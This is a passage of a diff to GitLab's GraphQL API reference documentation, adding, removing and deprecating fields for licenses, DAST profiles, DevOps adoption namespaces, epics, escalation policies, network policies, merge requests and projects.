| <a id="cirunnerrununtagged"></a>`runUntagged` | [`Boolean!`](#boolean) | Indicates the runner is able to run untagged jobs. |
| <a id="cirunnerrunnertype"></a>`runnerType` | [`CiRunnerType!`](#cirunnertype) | Type of the runner. |
@@ -7754,6 +7910,7 @@ Represents the current license.
| ---- | ---- | ----------- |
| <a id="currentlicenseactivatedat"></a>`activatedAt` | [`Date`](#date) | Date when the license was activated. |
| <a id="currentlicensebillableuserscount"></a>`billableUsersCount` | [`Int`](#int) | Number of billable users on the system. |
+| <a id="currentlicenseblockchangesat"></a>`blockChangesAt` | [`Date`](#date) | Date, including grace period, when licensed features will be blocked. |
| <a id="currentlicensecompany"></a>`company` | [`String`](#string) | Company of the licensee. |
| <a id="currentlicenseemail"></a>`email` | [`String`](#string) | Email of the licensee. |
| <a id="currentlicenseexpiresat"></a>`expiresAt` | [`Date`](#date) | Date when the license expires. |
@@ -7816,7 +7973,6 @@ Represents a DAST scanner profile.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="dastscannerprofileeditpath"></a>`editPath` | [`String`](#string) | Relative web path to the edit page of a scanner profile. |
-| <a id="dastscannerprofileglobalid"></a>`globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. |
| <a id="dastscannerprofileid"></a>`id` | [`DastScannerProfileID!`](#dastscannerprofileid) | ID of the DAST scanner profile. |
| <a id="dastscannerprofileprofilename"></a>`profileName` | [`String`](#string) | Name of the DAST scanner profile. |
| <a id="dastscannerprofilereferencedinsecuritypolicies"></a>`referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. |
@@ -7834,15 +7990,15 @@ Represents a DAST Site Profile.
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="dastsiteprofileauth"></a>`auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="dastsiteprofileauth"></a>`auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. |
| <a id="dastsiteprofileeditpath"></a>`editPath` | [`String`](#string) | Relative web path to the edit page of a site profile. |
-| <a id="dastsiteprofileexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="dastsiteprofileexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. |
| <a id="dastsiteprofileid"></a>`id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile. |
| <a id="dastsiteprofilenormalizedtargeturl"></a>`normalizedTargetUrl` | [`String`](#string) | Normalized URL of the target to be scanned. |
| <a id="dastsiteprofileprofilename"></a>`profileName` | [`String`](#string) | The name of the site profile. |
| <a id="dastsiteprofilereferencedinsecuritypolicies"></a>`referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. |
-| <a id="dastsiteprofilerequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
-| <a id="dastsiteprofiletargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will always return `null` if `security_dast_site_profiles_api_option` feature flag is disabled. |
+| <a id="dastsiteprofilerequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. |
+| <a id="dastsiteprofiletargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. |
| <a id="dastsiteprofiletargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. |
| <a id="dastsiteprofileuserpermissions"></a>`userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource. |
| <a id="dastsiteprofilevalidationstatus"></a>`validationStatus` | [`DastSiteProfileValidationStatusEnum`](#dastsiteprofilevalidationstatusenum) | The current validation status of the site profile. |
@@ -8151,17 +8307,37 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="detailedstatustext"></a>`text` | [`String`](#string) | Text of the status. |
| <a id="detailedstatustooltip"></a>`tooltip` | [`String`](#string) | Tooltip associated with the status. |
-### `DevopsAdoptionSegment`
+### `DevopsAdoptionEnabledNamespace`
-Segment.
+Enabled namespace for DevopsAdoption.
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="devopsadoptionsegmentid"></a>`id` | [`ID!`](#id) | ID of the segment. |
-| <a id="devopsadoptionsegmentlatestsnapshot"></a>`latestSnapshot` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | The latest adoption metrics for the segment. |
-| <a id="devopsadoptionsegmentnamespace"></a>`namespace` | [`Namespace`](#namespace) | Segment namespace. |
+| <a id="devopsadoptionenablednamespacedisplaynamespace"></a>`displayNamespace` | [`Namespace`](#namespace) | Namespace where data should be displayed. |
+| <a id="devopsadoptionenablednamespaceid"></a>`id` | [`ID!`](#id) | ID of the enabled namespace. |
+| <a id="devopsadoptionenablednamespacelatestsnapshot"></a>`latestSnapshot` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | Metrics snapshot for previous month for the enabled namespace. |
+| <a id="devopsadoptionenablednamespacenamespace"></a>`namespace` | [`Namespace`](#namespace) | Namespace which should be calculated. |
+
+#### Fields with arguments
+
+##### `DevopsAdoptionEnabledNamespace.snapshots`
+
+Data snapshots of the namespace.
+
+Returns [`DevopsAdoptionSnapshotConnection`](#devopsadoptionsnapshotconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="devopsadoptionenablednamespacesnapshotsendtimeafter"></a>`endTimeAfter` | [`Time`](#time) | Filter to snapshots with month end after the provided date. |
+| <a id="devopsadoptionenablednamespacesnapshotsendtimebefore"></a>`endTimeBefore` | [`Time`](#time) | Filter to snapshots with month end before the provided date. |
### `DevopsAdoptionSnapshot`
@@ -8336,6 +8512,38 @@ Represents an epic.
#### Fields with arguments
+##### `Epic.ancestors`
+
+Ancestors (parents) of the epic.
+
+Returns [`EpicConnection`](#epicconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="epicancestorsauthorusername"></a>`authorUsername` | [`String`](#string) | Filter epics by author. |
+| <a id="epicancestorsconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter epics by given confidentiality. |
+| <a id="epicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
+| <a id="epicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
+| <a id="epicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
+| <a id="epicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="epicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
+| <a id="epicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
+| <a id="epicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
+| <a id="epicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
+| <a id="epicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="epicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
+| <a id="epicancestorssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
+| <a id="epicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
+| <a id="epicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
+| <a id="epicancestorsstate"></a>`state` | [`EpicState`](#epicstate) | Filter epics by state. |
+| <a id="epicancestorstimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. |
+
##### `Epic.children`
Children (sub-epics) of the epic.
@@ -8356,10 +8564,12 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="epicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="epicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
| <a id="epicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="epicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="epicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="epicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
| <a id="epicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
| <a id="epicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="epicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
| <a id="epicchildrensearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
| <a id="epicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
| <a id="epicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
@@ -8426,6 +8636,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="epicboardlistsepicfilters"></a>`epicFilters` | [`EpicFilters`](#epicfilters) | Filters applied when getting epic metadata in the epic board list. |
| <a id="epicboardlistsid"></a>`id` | [`BoardsEpicListID`](#boardsepiclistid) | Find an epic board list by ID. |
### `EpicDescendantCount`
@@ -8610,6 +8821,32 @@ Check permissions for the current user on an epic.
| <a id="epicpermissionsreadepiciid"></a>`readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource. |
| <a id="epicpermissionsupdateepic"></a>`updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource. |
+### `EscalationPolicyType`
+
+Represents an escalation policy.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="escalationpolicytypedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. |
+| <a id="escalationpolicytypeid"></a>`id` | [`IncidentManagementEscalationPolicyID`](#incidentmanagementescalationpolicyid) | ID of the escalation policy. |
+| <a id="escalationpolicytypename"></a>`name` | [`String`](#string) | The name of the escalation policy. |
+| <a id="escalationpolicytyperules"></a>`rules` | [`[EscalationRuleType!]`](#escalationruletype) | Steps of the escalation policy. |
+
+### `EscalationRuleType`
+
+Represents an escalation rule for an escalation policy.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="escalationruletypeelapsedtimeseconds"></a>`elapsedTimeSeconds` | [`Int`](#int) | The time in seconds before the rule is activated. |
+| <a id="escalationruletypeid"></a>`id` | [`IncidentManagementEscalationRuleID`](#incidentmanagementescalationruleid) | ID of the escalation policy. |
+| <a id="escalationruletypeoncallschedule"></a>`oncallSchedule` | [`IncidentManagementOncallSchedule`](#incidentmanagementoncallschedule) | The on-call schedule to notify. |
+| <a id="escalationruletypestatus"></a>`status` | [`EscalationRuleStatus`](#escalationrulestatus) | The status required to prevent the rule from activating. |
+
### `Event`
Representing an event.
@@ -8930,10 +9167,12 @@ Returns [`Epic`](#epic).
| <a id="groupepiciid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="groupepiciidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
| <a id="groupepiciids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="groupepicincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="groupepicincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="groupepiclabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
| <a id="groupepicmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
| <a id="groupepicmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="groupepicnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
| <a id="groupepicsearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
| <a id="groupepicsort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
| <a id="groupepicstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
@@ -8972,10 +9211,12 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupepicsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="groupepicsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
| <a id="groupepicsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="groupepicsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="groupepicsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="groupepicslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
| <a id="groupepicsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
| <a id="groupepicsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="groupepicsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
| <a id="groupepicssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
| <a id="groupepicssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
| <a id="groupepicsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
@@ -9268,27 +9509,6 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupvulnerabilitiescountbydayenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. |
| <a id="groupvulnerabilitiescountbydaystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. |
-##### `Group.vulnerabilitiesCountByDayAndSeverity`
-
-Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups.
-
-WARNING:
-**Deprecated** in 13.3.
-Use `vulnerabilitiesCountByDay`.
-
-Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection).
-
-This field returns a [connection](#connections). It accepts the
-four standard [pagination arguments](#connection-pagination-arguments):
-`before: String`, `after: String`, `first: Int`, `last: Int`.
-
-###### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="groupvulnerabilitiescountbydayandseverityenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. |
-| <a id="groupvulnerabilitiescountbydayandseveritystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. |
-
##### `Group.vulnerabilityGrades`
Represents vulnerable project counts for each grade.
@@ -9311,9 +9531,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="groupvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. |
+| <a id="groupvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. |
| <a id="groupvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. |
| <a id="groupvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. |
| <a id="groupvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. |
+| <a id="groupvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. |
| <a id="groupvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. |
| <a id="groupvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. |
@@ -9332,7 +9555,7 @@ Represents a Group Membership.
| <a id="groupmembergroup"></a>`group` | [`Group`](#group) | Group that a User is a member of. |
| <a id="groupmemberid"></a>`id` | [`ID!`](#id) | ID of the member. |
| <a id="groupmemberupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
-| <a id="groupmemberuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. |
+| <a id="groupmemberuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. |
| <a id="groupmemberuserpermissions"></a>`userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. |
### `GroupPermissions`
@@ -9463,12 +9686,27 @@ A block of time for which a participant is on-call.
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="instancesecuritydashboardprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Projects selected in Instance Security Dashboard. (see [Connections](#connections)) |
| <a id="instancesecuritydashboardvulnerabilitygrades"></a>`vulnerabilityGrades` | [`[VulnerableProjectsByGrade!]!`](#vulnerableprojectsbygrade) | Represents vulnerable project counts for each grade. |
| <a id="instancesecuritydashboardvulnerabilityscanners"></a>`vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the vulnerabilities from projects selected in Instance Security Dashboard. (see [Connections](#connections)) |
#### Fields with arguments
+##### `InstanceSecurityDashboard.projects`
+
+Projects selected in Instance Security Dashboard.
+
+Returns [`ProjectConnection!`](#projectconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="instancesecuritydashboardprojectssearch"></a>`search` | [`String`](#string) | Search query for project name, path, or description. |
+
##### `InstanceSecurityDashboard.vulnerabilitySeveritiesCount`
Counts for each vulnerability severity from projects selected in Instance Security Dashboard.
@@ -9479,9 +9717,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="instancesecuritydashboardvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. |
+| <a id="instancesecuritydashboardvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. |
| <a id="instancesecuritydashboardvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. |
| <a id="instancesecuritydashboardvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. |
| <a id="instancesecuritydashboardvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. |
+| <a id="instancesecuritydashboardvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. |
| <a id="instancesecuritydashboardvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. |
| <a id="instancesecuritydashboardvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. |
@@ -9743,7 +9984,6 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="labeldescription"></a>`description` | [`String`](#string) | Description of the label (Markdown rendered as HTML for caching). |
| <a id="labeldescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| <a id="labelid"></a>`id` | [`ID!`](#id) | Label ID. |
-| <a id="labelremoveonclose"></a>`removeOnClose` | [`Boolean!`](#boolean) | Whether the label should be removed from an issue when the issue is closed. |
| <a id="labeltextcolor"></a>`textColor` | [`String!`](#string) | Text color of the label. |
| <a id="labeltitle"></a>`title` | [`String!`](#string) | Content of the label. |
| <a id="labelupdatedat"></a>`updatedAt` | [`Time!`](#time) | When this label was last updated. |
@@ -9774,6 +10014,7 @@ Represents an entry from the Cloud License history.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="licensehistoryentryactivatedat"></a>`activatedAt` | [`Date`](#date) | Date when the license was activated. |
+| <a id="licensehistoryentryblockchangesat"></a>`blockChangesAt` | [`Date`](#date) | Date, including grace period, when licensed features will be blocked. |
| <a id="licensehistoryentrycompany"></a>`company` | [`String`](#string) | Company of the licensee. |
| <a id="licensehistoryentryemail"></a>`email` | [`String`](#string) | Email of the licensee. |
| <a id="licensehistoryentryexpiresat"></a>`expiresAt` | [`Date`](#date) | Date when the license expires. |
@@ -9837,6 +10078,8 @@ Maven metadata.
| <a id="mergerequesthasci"></a>`hasCi` | [`Boolean!`](#boolean) | Indicates if the merge request has CI. |
| <a id="mergerequesthassecurityreports"></a>`hasSecurityReports` | [`Boolean!`](#boolean) | Indicates if the source branch has any security reports. |
| <a id="mergerequestheadpipeline"></a>`headPipeline` | [`Pipeline`](#pipeline) | The pipeline running on the branch HEAD of the merge request. |
+| <a id="mergerequesthumantimeestimate"></a>`humanTimeEstimate` | [`String`](#string) | Human-readable time estimate of the merge request. |
+| <a id="mergerequesthumantotaltimespent"></a>`humanTotalTimeSpent` | [`String`](#string) | Human-readable total time reported as spent on the merge request. |
| <a id="mergerequestid"></a>`id` | [`ID!`](#id) | ID of the merge request. |
| <a id="mergerequestiid"></a>`iid` | [`String!`](#string) | Internal ID of the merge request. |
| <a id="mergerequestinprogressmergecommitsha"></a>`inProgressMergeCommitSha` | [`String`](#string) | Commit SHA of the merge request if merge is in progress. |
@@ -9844,7 +10087,8 @@ Maven metadata.
| <a id="mergerequestmergecommitsha"></a>`mergeCommitSha` | [`String`](#string) | SHA of the merge request commit (set once merged). |
| <a id="mergerequestmergeerror"></a>`mergeError` | [`String`](#string) | Error message due to a merge error. |
| <a id="mergerequestmergeongoing"></a>`mergeOngoing` | [`Boolean!`](#boolean) | Indicates if a merge is currently occurring. |
-| <a id="mergerequestmergestatus"></a>`mergeStatus` | [`String`](#string) | Status of the merge request. |
+| <a id="mergerequestmergestatus"></a>`mergeStatus` **{warning-solid}** | [`String`](#string) | **Deprecated** in 14.0. This was renamed. Use: [`MergeRequest.mergeStatusEnum`](#mergerequestmergestatusenum). |
+| <a id="mergerequestmergestatusenum"></a>`mergeStatusEnum` | [`MergeStatus`](#mergestatus) | Merge status of the merge request. |
| <a id="mergerequestmergetrainscount"></a>`mergeTrainsCount` | [`Int`](#int) | Number of merge requests in the merge train. |
| <a id="mergerequestmergeuser"></a>`mergeUser` | [`UserCore`](#usercore) | User who merged this merge request. |
| <a id="mergerequestmergewhenpipelinesucceeds"></a>`mergeWhenPipelineSucceeds` | [`Boolean`](#boolean) | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS). |
@@ -10493,6 +10737,21 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="namespaceprojectssearch"></a>`search` | [`String`](#string) | Search project with most similar names or paths. |
| <a id="namespaceprojectssort"></a>`sort` | [`NamespaceProjectSort`](#namespaceprojectsort) | Sort projects by this criteria. |
+### `NetworkPolicy`
+
+Represents the network policy.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="networkpolicyenabled"></a>`enabled` | [`Boolean!`](#boolean) | Indicates whether this policy is enabled. |
+| <a id="networkpolicyfromautodevops"></a>`fromAutoDevops` | [`Boolean!`](#boolean) | Indicates whether this policy is created from AutoDevops. |
+| <a id="networkpolicyname"></a>`name` | [`String!`](#string) | Name of the policy. |
+| <a id="networkpolicynamespace"></a>`namespace` | [`String!`](#string) | Namespace of the policy. |
+| <a id="networkpolicyupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the policy YAML was last updated. |
+| <a id="networkpolicyyaml"></a>`yaml` | [`String!`](#string) | YAML definition of the policy. |
+
### `Note`
#### Fields
@@ -10877,6 +11136,7 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="pipelinesecurityreportfindingscanner"></a>`scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. |
| <a id="pipelinesecurityreportfindingseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability finding. |
| <a id="pipelinesecurityreportfindingsolution"></a>`solution` | [`String`](#string) | URL to the vulnerability's details page. |
+| <a id="pipelinesecurityreportfindingstate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | The finding status. |
| <a id="pipelinesecurityreportfindinguuid"></a>`uuid` | [`String`](#string) | Name of the vulnerability finding. |
### `Project`
@@ -10886,6 +11146,7 @@ Represents vulnerability finding of a security report on the pipeline.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="projectactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for the repository in bytes. |
+| <a id="projectagentconfigurations"></a>`agentConfigurations` | [`AgentConfigurationConnection`](#agentconfigurationconnection) | Agent configurations defined by the project. (see [Connections](#connections)) |
| <a id="projectallowmergeonskippedpipeline"></a>`allowMergeOnSkippedPipeline` | [`Boolean`](#boolean) | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs. |
| <a id="projectapifuzzingciconfiguration"></a>`apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. |
| <a id="projectarchived"></a>`archived` | [`Boolean`](#boolean) | Indicates the archived status of the project. |
@@ -10911,6 +11172,7 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="projecthttpurltorepo"></a>`httpUrlToRepo` | [`String`](#string) | URL to connect to the project via HTTPS. |
| <a id="projectid"></a>`id` | [`ID!`](#id) | ID of the project. |
| <a id="projectimportstatus"></a>`importStatus` | [`String`](#string) | Status of import background job of the project. |
+| <a id="projectincidentmanagementescalationpolicies"></a>`incidentManagementEscalationPolicies` | [`EscalationPolicyTypeConnection`](#escalationpolicytypeconnection) | Incident Management escalation policies of the project. (see [Connections](#connections)) |
| <a id="projectissuesenabled"></a>`issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user. |
| <a id="projectjiraimportstatus"></a>`jiraImportStatus` | [`String`](#string) | Status of Jira import background job of the project. |
| <a id="projectjiraimports"></a>`jiraImports` | [`JiraImportConnection`](#jiraimportconnection) | Jira imports into the project. (see [Connections](#connections)) |
@@ -10937,6 +11199,7 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="projectrequestaccessenabled"></a>`requestAccessEnabled` | [`Boolean`](#boolean) | Indicates if users can request member access to the project. |
| <a id="projectrequirementstatescount"></a>`requirementStatesCount` | [`RequirementStatesCount`](#requirementstatescount) | Number of requirements for the project by their state. |
| <a id="projectsastciconfiguration"></a>`sastCiConfiguration` | [`SastCiConfiguration`](#sastciconfiguration) | SAST CI configuration for the project. |
+| <a id="projectscanexecutionpolicies"></a>`scanExecutionPolicies` | [`ScanExecutionPolicyConnection`](#scanexecutionpolicyconnection) | Scan Execution Policies of the project. (see [Connections](#connections)) |
| <a id="projectsecuritydashboardpath"></a>`securityDashboardPath` | [`String`](#string) | Path to project's security dashboard. |
| <a id="projectsecurityscanners"></a>`securityScanners` | [`SecurityScanners`](#securityscanners) | Information about security analyzers used in the project. |
| <a id="projectsentryerrors"></a>`sentryErrors` | [`SentryErrorCollection`](#sentryerrorcollection) | Paginated collection of Sentry errors on the project. |
@@ -11184,6 +11447,18 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projectenvironmentssearch"></a>`search` | [`String`](#string) | Search query for environment name. |
| <a id="projectenvironmentsstates"></a>`states` | [`[String!]`](#string) | States of environments that should be included in result. |
+##### `Project.incidentManagementEscalationPolicy`
+
+Incident Management escalation policy of the project.
+
+Returns [`EscalationPolicyType`](#escalationpolicytype).
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
